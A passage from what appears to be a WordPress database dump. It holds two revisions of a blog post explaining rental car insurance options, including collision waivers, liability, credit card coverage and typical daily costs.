coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Rental car insurance can help protect you from out-of-pocket expenses in case of an accident, theft, or damage to the rental vehicle, but the daily fee will increase your rental cost.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your personal auto insurance policy may already provide adequate coverage when you rent a car, so you may not need additional rental car insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some credit cards offer car insurance benefits if you pay the full rental cost with the card.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The best way to decide if you need car rental insurance is to understand the coverage you already have and what is covered (and isn’t) if you add other protections.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">What Does Rental Car Insurance Cover?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">You’ll likely be offered optional rental car coverage at the counter when you rent a car. These coverage types may differ based on which state you’re renting in, but they typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-9\">Collision Damage Waiver (or Loss Damage Waiver)</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">For an extra daily fee on your rental, a collision damage waiver/loss damage waiver (CDW/LDW) can cover any vehicle repair costs if you’re in an accident or if the car is vandalized or damaged during your rental period. It may also cover theft of the rental vehicle. A partial CDW only partially covers the cost and may require you to pay a deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">Personal Effects Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">This optional coverage will reimburse you and the people you’re traveling with for stolen or damaged personal items and luggage while in your rental car.1</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">Personal Accident Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">This insurance pays for medical expenses, including ambulance transport and hospital care, if you or your passengers are injured while in your rental car. It may also provide benefits for an accidental death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">Supplemental Liability Protection</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Supplemental liability insurance (SLI) increases the liability coverage dollar amount if you injure someone else or damage their property in an accident. It may also cover damage from uninsured and underinsured drivers. For example, SLI could offer up to $1 million in coverage. And if you have your own auto insurance policy, it could cover the difference between your policy’s coverage and $1 million in damage that you cause to others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Emergency Roadside Service</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">This service pays for lost or damaged keys and any towing or taxi charges resulting from broken or lost keys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-24\">Emergency Sickness Protection</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">This coverage is intended only for international travelers and covers non-U.S. residents for medical and surgical treatments, ambulance, dental and medical office visits, and more. Significant exclusions may be listed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Warning:</strong> Most rental car and credit card coverage policies have long lists of exclusions and prohibited behaviors that limit coverage. For example, your CDW may not offer coverage for injury or death while driving under the influence, from a preexisting condition, or if you’re renting the car to get medical treatment. Ensure that you understand your rental car insurance policy’s rules before driving away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-29\">Does My Insurance Cover Rental Cars?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">If you have insurance policies, the following coverages may extend to driving a rental car:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-32\"><!-- wp:list-item -->\n<li>Auto liability insurance: Covers damage you cause to others (liability) up to your limits</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Auto collision and comprehensive coverage: Covers damage to the rental car</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance: Covers items you have in the car if stolen or damaged</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Medical insurance: Covers injuries you sustain in an accident</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Life insurance: Provides death benefits if you die in an accident&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Depending on your home state or the state where you rent the car, your auto insurance may even cover rental car damage if you’re in an accident, even if you don’t have collision coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">However, you must pay your deductible out of pocket for damages and injuries, and you are only insured up to your coverage limits in some cases. Some personal auto insurance policies may limit how long you can rent cars for and be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">Your insurance may not cover costs that the rental car company could charge you for, like loss of use, which is lost income from being unable to rent the car while it’s repaired. Your insurance may also not pay administrative fees and other charges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">Rental Car Insurance vs. Your Own Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">If you’re unsure if you need to get car rental insurance when you rent a car, here’s a look at how you could be covered with and without it. Remember that you likely must pay out of pocket if you don’t have a personal policy for the following.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><thead><tr><th><strong>Risk</strong></th><th><strong>Rental Insurance</strong></th><th><strong>Personal Policy</strong></th></tr></thead><tbody><tr><th><strong>Rental car damage</strong></th><td>CDW typically repairs vehicle damage and associated fees and costs such as loss of use. May not charge deductibles.</td><td>Typically only covers repairs or vehicle replacement up to the car’s actual value and only if you have collision and/or comprehensive coverage. Charges deductibles.</td></tr><tr><th><strong>Damage you cause to other people or property</strong></th><td>Supplemental liability coverage is available, but the car rental may include state-required minimum liability insurance.</td><td>Your auto policy likely includes adequate liability insurance since many states require it.</td></tr><tr><th><strong>Personal injuries</strong></th><td>Covers medical bills related to a car accident, even in an international location.</td><td>Emergency treatment should be covered by health insurance, personal injury protection (PIP), or medical payments as part of your auto insurance.</td></tr><tr><th><strong>Accidental death</strong></th><td>May be included in medical or accident coverage.</td><td>Life insurance policies offer death benefits and may even pay more for an accidental death. Or you may buy a travel insurance policy.</td></tr><tr><th><strong>Stolen or damaged belongings</strong></th><td>Personal effects coverage provides coverage, but with many limitations.</td><td>A homeowners policy may have fewer limits but charge you a deductible.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-47\">Other Alternatives</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-48\">Other ways to get rental car coverage include the following.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-50\">Credit Card Rental Car Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">Some credit cards provide rental car insurance as a benefit if you pay the entire rental cost with the card. This insurance only covers rental car damage, not liability. Your credit card benefits description will clearly state which coverage type you have. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-53\"><!-- wp:list-item -->\n<li><strong>Primary rental car insurance</strong>: This means that your credit card company will act as your main insurance coverage for rental car damage so that you don’t have to file a claim with your car insurance carrier. Remember: You will still need to file a claim if you damaged someone else’s vehicle or hurt them in an accident.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Secondary rental car insurance</strong>: This insurance can piggyback off of your personal auto insurance policy, covering your deductible and other costs beyond your insurance limits for rental car damage. In some cases, such as international car rental or if you don’t have a primary form of auto insurance, secondary insurance becomes primary insurance.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-55\">Some credit cards also offer accidental injury and death insurance and coverage for your luggage and other belongings. Read the card policy carefully for coverage rules and exclusions. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Important: </strong>Credit card rental coverage may not extend to some types of car rentals or rentals in certain countries. If you’re relying on your card for protection, take the time to confirm that your rental circumstances aren’t excluded from coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-59\">Car Rental Travel Insurance (Third Parties)</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-60\">Depending on your itinerary and destination, you could buy insurance from a third party that includes car rental insurance, medical expenses, and protection for personal items. For example, this may be helpful when traveling abroad if auto policies and credit card insurance benefits don’t provide the specific coverages necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-62\">Special Considerations: Driving Abroad&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-63\">It’s a good idea to speak to your agent to find out if you need to purchase special rental car insurance that will protect you in other countries. For example, if you travel to another country, your personal insurance will probably not cover rental cars. You may also decide to seek out a third-party policy for other potential accidents or injuries that happen abroad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-65\">Price of Rental Car Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-66\">You can expect to pay around $30 to $50 per day extra, on average, if you decide to add on CDW/LDW and other coverages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-68\">We collected quotes from three rental car providers across three locations (Orlando, Florida; Las Vegas; and Boston) for an economy-sized car in June 2023. Crunching the numbers, we discovered the average car rental insurance costs. Here are the results, rounded to the nearest dollar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-72\">Coverage cost factors depend primarily on the location or state where you’re renting and the car’s value. You may pay far more for luxury vehicles. You may pay less when choosing more than two qualifying coverage products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-74\">Should I Get Rental Car Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-75\">Rental car insurance can be a good idea in certain circumstances and a waste of money in others.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-77\">Consider car rental insurance if you:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-79\"><!-- wp:list-item -->\n<li>Don’t have liability or rental vehicle damage coverage from a personal car insurance policy or a credit card.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Don’t want to deal with the hassle of claims, reimbursement, or other administrative expenses that your insurance company won’t pay.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Want to avoid filing a claim and paying a deductible for a minor fender-bender.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Want additional coverage because the car you’re renting is worth well beyond credit card or personal policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plan to share driving duties with someone not insured by your policy to ease future claims.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-81\">Skip the rental car insurance if you:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-83\"><!-- wp:list-item -->\n<li>Have full auto insurance coverage with ample liability limits and a deductible you can handle, and you can pay loss of use or other expenses out of pocket without worry.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Have health insurance for medical expenses and homeowners coverage for stolen or damaged personal belongings.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Have a credit card with robust primary or secondary rental car coverage, and you can charge the entire amount to the card as required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Are traveling to a destination covered by your car and/or credit card insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Find a similar third-party travel insurance policy at a lower price.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is the Difference Between Rental Car Insurance and Rental Car Reimbursement Coverage?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Rental car insurance covers costs associated with car damage resulting from an accident, theft, or vandalism. In contrast, rental car reimbursement coverage is optional personal auto coverage for your car. It covers up to a set amount per day if you have to rent a car while your vehicle is being repaired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Rental Car Insurance If I Rent a Car Abroad?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When traveling abroad, figure out if and how you’re covered for an accident while driving, including any injuries, damage, and injuries to others. Check with your personal auto insurance company, your health insurance carrier, and your credit cards to get the specifics. If you don’t have adequate coverage (or none at all), you can decide if rental car company coverage or third-party travel insurance will best suit your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does My Credit Card Cover Rental Car Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Many credit cards offer secondary rental car insurance for physical damage, which may become primary in limited situations. Call your card to find out how your coverage works. The list of credit cards that offer primary rental car insurance isn’t very long, but if you have travel rewards cards, look to see if it’s a featured benefit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>our American Express card may provide secondary rental car physical damage coverage. American Express. “Car Rental Loss and Damage Insurance Plan Documents,” Page 11. But you can add primary rental car coverage (called American Express Premium Car Rental Protection) that piggybacks on your card for a per-rental fee and features expanded benefits beyond traditional primary coverage. However, you must sign up before renting the car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Temporary Car Insurance Cover Rental Cars?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Temporary car insurance policies are not really available in the United States for less than six months at a time. These policies may be more available in other countries, such as the United Kingdom—where you can purchase a policy term for as short as one hour and as long as 30 days, for instance. You can also purchase short-term travel insurance policies that provide some damage coverage in the U.S.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-93\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-94\">Don’t walk up to the rental counter blindsided and confused about whether the rental company’s coverage is worth it. Whether or not you need rental car insurance depends on the coverages that you already carry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-96\">Compare your coverage through your insurance or credit card to your particular car rental situation. Your best bet is to call your auto insurance agent and/or credit card company and ask if and how you’re covered before picking up your rental car.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/do-i-need-rental-car-insurance-7546688\">click here.</a></p>\n<!-- /wp:paragraph -->','Do I Need Rental Car Insurance?','','publish','closed','closed','','do-i-need-rental-car-insurance-2','','','2024-01-26 16:00:09','2024-01-26 16:00:09','',0,'https://smartinsurance.tips/?p=3783',0,'post','',0),(3784,1,'2024-01-26 15:56:14','2024-01-26 15:56:14','','Untitled-55','','inherit','closed','closed','','untitled-55','','','2024-01-26 15:56:14','2024-01-26 15:56:14','',3783,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-55.png',0,'attachment','image/png',0),(3785,1,'2024-01-26 16:00:09','2024-01-26 16:00:09','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3784,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-55-1024x1024.png\" alt=\"\" class=\"wp-image-3784\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">When renting a car, you need some types of coverage. But you may already have the required coverage through your personal auto insurance policy or a credit card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Here’s how to decide when it’s worth it to&nbsp;pay for coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Rental car insurance can help protect you from out-of-pocket expenses in case of an accident, theft, or damage to the rental vehicle, but the daily fee will increase your rental cost.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your personal auto insurance policy may already provide adequate coverage when you rent a car, so you may not need additional rental car insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some credit cards offer car insurance benefits if you pay the full rental cost with the card.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The best way to decide if you need car rental insurance is to understand the coverage you already have and what is covered (and isn’t) if you add other protections.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">What Does Rental Car Insurance Cover?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">You’ll likely be offered optional rental car coverage at the counter when you rent a car. These coverage types may differ based on which state you’re renting in, but they typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-9\">Collision Damage Waiver (or Loss Damage Waiver)</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">For an extra daily fee on your rental, a collision damage waiver/loss damage waiver (CDW/LDW) can cover any vehicle repair costs if you’re in an accident or if the car is vandalized or damaged during your rental period. It may also cover theft of the rental vehicle. A partial CDW only partially covers the cost and may require you to pay a deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">Personal Effects Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">This optional coverage will reimburse you and the people you’re traveling with for stolen or damaged personal items and luggage while in your rental car.1</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">Personal Accident Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">This insurance pays for medical expenses, including ambulance transport and hospital care, if you or your passengers are injured while in your rental car. It may also provide benefits for an accidental death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">Supplemental Liability Protection</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Supplemental liability insurance (SLI) increases the liability coverage dollar amount if you injure someone else or damage their property in an accident. It may also cover damage from uninsured and underinsured drivers. For example, SLI could offer up to $1 million in coverage. And if you have your own auto insurance policy, it could cover the difference between your policy’s coverage and $1 million in damage that you cause to others.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Emergency Roadside Service</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">This service pays for lost or damaged keys and any towing or taxi charges resulting from broken or lost keys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-24\">Emergency Sickness Protection</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">This coverage is intended only for international travelers and covers non-U.S. residents for medical and surgical treatments, ambulance, dental and medical office visits, and more. Significant exclusions may be listed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Warning:</strong> Most rental car and credit card coverage policies have long lists of exclusions and prohibited behaviors that limit coverage. For example, your CDW may not offer coverage for injury or death while driving under the influence, from a preexisting condition, or if you’re renting the car to get medical treatment. Ensure that you understand your rental car insurance policy’s rules before driving away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-29\">Does My Insurance Cover Rental Cars?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">If you have insurance policies, the following coverages may extend to driving a rental car:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-32\"><!-- wp:list-item -->\n<li>Auto liability insurance: Covers damage you cause to others (liability) up to your limits</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Auto collision and comprehensive coverage: Covers damage to the rental car</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance: Covers items you have in the car if stolen or damaged</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Medical insurance: Covers injuries you sustain in an accident</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Life insurance: Provides death benefits if you die in an accident&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Depending on your home state or the state where you rent the car, your auto insurance may even cover rental car damage if you’re in an accident, even if you don’t have collision coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">However, you must pay your deductible out of pocket for damages and injuries, and you are only insured up to your coverage limits in some cases. Some personal auto insurance policies may limit how long you can rent cars for and be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">Your insurance may not cover costs that the rental car company could charge you for, like loss of use, which is lost income from being unable to rent the car while it’s repaired. Your insurance may also not pay administrative fees and other charges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">Rental Car Insurance vs. Your Own Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">If you’re unsure if you need to get car rental insurance when you rent a car, here’s a look at how you could be covered with and without it. Remember that you likely must pay out of pocket if you don’t have a personal policy for the following.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><thead><tr><th><strong>Risk</strong></th><th><strong>Rental Insurance</strong></th><th><strong>Personal Policy</strong></th></tr></thead><tbody><tr><th><strong>Rental car damage</strong></th><td>CDW typically repairs vehicle damage and associated fees and costs such as loss of use. May not charge deductibles.</td><td>Typically only covers repairs or vehicle replacement up to the car’s actual value and only if you have collision and/or comprehensive coverage. Charges deductibles.</td></tr><tr><th><strong>Damage you cause to other people or property</strong></th><td>Supplemental liability coverage is available, but the car rental may include state-required minimum liability insurance.</td><td>Your auto policy likely includes adequate liability insurance since many states require it.</td></tr><tr><th><strong>Personal injuries</strong></th><td>Covers medical bills related to a car accident, even in an international location.</td><td>Emergency treatment should be covered by health insurance, personal injury protection (PIP), or medical payments as part of your auto insurance.</td></tr><tr><th><strong>Accidental death</strong></th><td>May be included in medical or accident coverage.</td><td>Life insurance policies offer death benefits and may even pay more for an accidental death. Or you may buy a travel insurance policy.</td></tr><tr><th><strong>Stolen or damaged belongings</strong></th><td>Personal effects coverage provides coverage, but with many limitations.</td><td>A homeowners policy may have fewer limits but charge you a deductible.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-47\">Other Alternatives</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-48\">Other ways to get rental car coverage include the following.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-50\">Credit Card Rental Car Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">Some credit cards provide rental car insurance as a benefit if you pay the entire rental cost with the card. This insurance only covers rental car damage, not liability. Your credit card benefits description will clearly state which coverage type you have. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-53\"><!-- wp:list-item -->\n<li><strong>Primary rental car insurance</strong>: This means that your credit card company will act as your main insurance coverage for rental car damage so that you don’t have to file a claim with your car insurance carrier. Remember: You will still need to file a claim if you damaged someone else’s vehicle or hurt them in an accident.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Secondary rental car insurance</strong>: This insurance can piggyback off of your personal auto insurance policy, covering your deductible and other costs beyond your insurance limits for rental car damage. In some cases, such as international car rental or if you don’t have a primary form of auto insurance, secondary insurance becomes primary insurance.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-55\">Some credit cards also offer accidental injury and death insurance and coverage for your luggage and other belongings. Read the card policy carefully for coverage rules and exclusions. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Important: </strong>Credit card rental coverage may not extend to some types of car rentals or rentals in certain countries. If you’re relying on your card for protection, take the time to confirm that your rental circumstances aren’t excluded from coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-59\">Car Rental Travel Insurance (Third Parties)</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-60\">Depending on your itinerary and destination, you could buy insurance from a third party that includes car rental insurance, medical expenses, and protection for personal items. For example, this may be helpful when traveling abroad if auto policies and credit card insurance benefits don’t provide the specific coverages necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-62\">Special Considerations: Driving Abroad&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-63\">It’s a good idea to speak to your agent to find out if you need to purchase special rental car insurance that will protect you in other countries. For example, if you travel to another country, your personal insurance will probably not cover rental cars. You may also decide to seek out a third-party policy for other potential accidents or injuries that happen abroad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-65\">Price of Rental Car Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-66\">You can expect to pay around $30 to $50 per day extra, on average, if you decide to add on CDW/LDW and other coverages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-68\">We collected quotes from three rental car providers across three 